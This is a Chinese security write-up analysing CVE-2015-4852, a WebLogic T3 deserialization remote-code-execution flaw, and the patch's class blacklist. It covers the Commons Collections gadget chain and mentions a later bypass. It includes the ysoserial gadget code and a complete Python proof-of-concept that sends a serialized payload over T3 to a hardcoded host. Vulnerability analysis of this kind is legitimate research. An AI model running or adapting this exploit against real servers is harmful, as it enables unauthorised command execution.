Weblogic T3反序列化开篇:CVE-2015-4852

0x00 漏洞描述

JAVA Apache-CommonsCollections 序列化RCE漏洞

0x01 漏洞分析

Weblogic: 10.3.6.0

JDK:1.6

参考1已经非常详细地介绍了这个漏洞的原理。其中涉及三个比较重要的部分:1) 入口反序列化点 2)利用链 3)T3协议 下面详细介绍一下。

入口反序列化点

这个漏洞/PoC选用的反序列化入口点是AnnotationInvocationHandler::readObject,一来可以被外界访问;二来这个入口点跟利用链是紧密相关的。

利用链

注意本小节是直接将参考1中原文部分拷贝过来,稍微排版一下。

利用链的核心代码来自参考3,如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
	Requires:
		commons-collections
 */	
 public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

信息 1

我们先来看一下 Transformer 接口,该接口仅定义了一个方法 transform(Object input):

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

信息 2

我们可以看到该方法的作用是:给定一个 Object 对象经过转换后也返回一个 Object,该 PoC 中利用的是三个实现类:ChainedTransformerConstantTransformerInvokerTransformer

首先看 InvokerTransformer 类中的 transform() 方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

信息 3

可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均为可控参数:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

信息 4

接下来我们看一下 ConstantTransformer 类的 transform() 方法:

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

信息 5

该方法很简单,就是返回 iConstant 属性,该属性也为可控参数。

最后一个ChainedTransformer类很关键,我们先看一下它的构造函数:

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

信息 6

我们可以看出它传入的是一个 Transformer 数组,接下来看一下它的 transform() 方法:

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

信息 7

这里使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且使用了 object 作为后一个调用transform() 方法的参数。

现在再回顾一下ysoserial中的利用链代码,形成了一个完美的调用链,利用Java的反射机制执行了命令。

至于链本身的逻辑,见参考 6,这里提取关键信息作参考:

  1. 构造一个ConstantTransformer,把RuntimeClass对象传进去,在transform()时,始终会返回这个对象
  2. 构造一个InvokerTransformer,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入1的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,clsjava.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象
  3. 构造一个InvokerTransformer,待调用方法名为invoke,参数为空,在transform()时,传入2的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke方法,实际上是调用上面的getRuntime()拿到Runtime对象
  4. 构造一个InvokerTransformer,待调用方法名为exec,参数为命令字符串,在transform()时,传入3的结果,获取java.lang.Runtimeexec方法并传参调用
  5. 最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求

但此时,我们还没法利用,得在weblogic中找个点能触发ChainedTransformer的transform方法。ysoserial给出的点是AnnotationInvocationHandler::readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            return;
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator(); ---8.1

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

信息 8

在8.1处,会形成调用链,到transform。可以参考信息 1处的注释信息,也可以参考下一小节中的调试信息。

###T3协议

参考2

需要关注的是下一小节的调用栈,可以看到T3协议进来,Weblogic的处理流程。

0x02 漏洞调试

ChainedTransformer::transform设定一个断点,看看调用栈:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

信息 9

此时ChainedTransformer对应为:

image-20200201151125047

信息 10

利用Java反射机制执行了touch /tmp/exp

0x03 PoC

PoC见参考2,这里贴出来:

#!/usr/bin/env python
# coding: utf-8

import socket
import struct
import time

def exp(host, port):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        # Send headers	
        #headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
        #headers = bytes(headers, encoding = "utf8")
        #sock.sendall(headers)
        #time.sleep(1)
        #data = sock.recv(1024)

        xx = bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
        sock.send(xx)
        time.sleep(1)
        sock.recv(1024)

        # java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
        f = open('./tmp', 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078"
        payload1=bytes.fromhex(payload1)
        payload3 = bytes.fromhex(payload3)
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('>I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u'socket 连接异常!')
    finally:
        sock.close()

exp('172.16.100.97', 7001)

信息 11

PoC中的利用链主要使用参考3中的ysoserial生成。

注意PoC中T3握手的代码有更改。

0x04 补丁

参考 5中有介绍本次补丁在如下三个地方有更新:

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

weblogic.iiop.Utils.class

参考 4中也有比较详细的介绍。

本小节基于参考信息做个整理。

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream为例,其实weblogic.rjvm.MsgAbbrevInputStream.class也是一样,都是多了checkLegacyBlacklistIfNeeded的检查。

weblogic/rjvm/InboundMsgAbbrev.class

protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
            try {
                this.checkLegacyBlacklistIfNeeded(descriptor.getName());
            } catch (InvalidClassException var4) {
                throw var4;
            }

            Class c = super.resolveClass(descriptor);
            if (c == null) {
                throw new ClassNotFoundException("super.resolveClass returns null.");
            } else {
                ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
                if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
                    throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
                } else {
                    return c;
                }
            }
        }

        protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] var2 = interfaces;
            int var3 = interfaces.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                String intf = var2[var4];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);
        }

信息 12

checkLegacyBlacklistIfNeeded`代码如下:

weblogic/utils/io/FilteringObjectInputStream.class`

    protected void checkLegacyBlacklistIfNeeded(String className) throws InvalidClassException {
        WebLogicObjectInputFilter.checkLegacyBlacklistIfNeeded(className);
    }

信息 13

weblogic/rjvm/InboundMsgAbbrev.class

    public static void checkLegacyBlacklistIfNeeded(String className) throws InvalidClassException {
        checkInitialized();
        if (!isJreFilteringAvailable) {
            if (isBlacklistedLegacy(className)) {
                throw new InvalidClassException(className, "Unauthorized deserialization attempt");
            }
        }
    }

信息 14

注意这里只有在JRE自带的过滤器不可用的情况下,才会执行isBlacklistedLegacy

weblogic/utils/io/oif/WebLogicObjectInputFilter.class

    private static boolean isBlacklistedLegacy(String className) {
        String normalizedName = normalizeClassName(className);
        if (LEGACY_BLACKLIST != null && normalizedName != null) {
            if (LEGACY_BLACKLIST.contains(normalizedName)) {
                return true;
            } else {
                String pkgName = null;

                try {
                    pkgName = normalizedName.substring(0, normalizedName.lastIndexOf(46));
                } catch (Exception var4) {
                    return false;
                }

                return pkgName != null && !pkgName.isEmpty() && LEGACY_BLACKLIST.contains(pkgName);
            }
        } else {
            return false;
        }
    }

信息 15

这个函数会使用LEGACY_BLACKLIST来检查包名和类名。而LEGACY_BLACKLIST的赋值来自于:

  • DEFAULT_BLACKLIST_CLASSES
  • DEFAULT_BLACKLIST_PACKAGES
  • blacklist

weblogic/utils/io/oif/WebLogicFilterConfig.class

private void constructLegacyBlacklist(String blacklist, boolean isBlacklistDisabled, boolean isDefaultBlacklistDisabled) {
        Set<String> blacklistSet = null;
        if (!isBlacklistDisabled) {
            blacklistSet = new HashSet(32);
            if (!isDefaultBlacklistDisabled) {
                String[] var5 = DEFAULT_BLACKLIST_CLASSES;
                int var6 = var5.length;

                int var7;
                String s;
                for(var7 = 0; var7 < var6; ++var7) {
                    s = var5[var7];
                    blacklistSet.add(s);
                }

                var5 = DEFAULT_BLACKLIST_PACKAGES;
                var6 = var5.length;

                for(var7 = 0; var7 < var6; ++var7) {
                    s = var5[var7];
                    blacklistSet.add(s);
                }
            }

            if (blacklist != null) {
                StringTokenizer st = new StringTokenizer(blacklist, ",");

                while(st.hasMoreTokens()) {
                    String token = st.nextToken();
                    if (token.startsWith("+")) {
                        blacklistSet.add(token.substring(1));
                    } else if (token.startsWith("-")) {
                        blacklistSet.remove(token.substring(1));
                    } else {
                        blacklistSet.add(token);
                    }
                }
            }

            if (blacklistSet.isEmpty()) {
                blacklistSet = null;
            }
        }

        this.BLACKLIST = blacklistSet;
    }

信息 16

blacklist内容来自于weblogic.rmi.blacklist;前两个来源则比较固定:

private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};

信息 17

以上就是blacklist的内容,而JRE自带的部分本文暂未介绍(应该是在后面的漏洞中添加的机制),可以见参考 4

对于本文所用PoC,在反序列化的时候,weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream中的resolveClass函数会将PoC中使用的org.apache.commons.collections.functors包判断为黑。

0x05 绕过

后来又出现了CVE-2016-0638,这里不多讲,这个CVE其实就是找到了一个新的反序列化点,在weblogic.jms.common.StreamMessageImpl里的 readExternal(),readExternal()有新的ObjectInputStreamreadObject,把原来的InputStream里面的下一个chunk作为反序列化数据处理了,关键是这里的ObjectInputStream未添加黑名单匹配,相当于是二次反序列化了。

0x06 参考

  1. “深入理解 JAVA 反序列化漏洞” _https://paper.seebug.org/312/
  2. “CVE-2015-4852 Weblogic 反序列化RCE分析” _https://www.chabug.org/audit/1151.html
  3. “ysoserial” _https://github.com/frohoff/ysoserial
  4. “从WebLogic看反序列化漏洞的利用与防御” _https://blog.csdn.net/Fly_hps/article/details/83505036
  5. “缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html
  6. “浅析 Java 序列化和反序列化” _https://paper.seebug.org/792/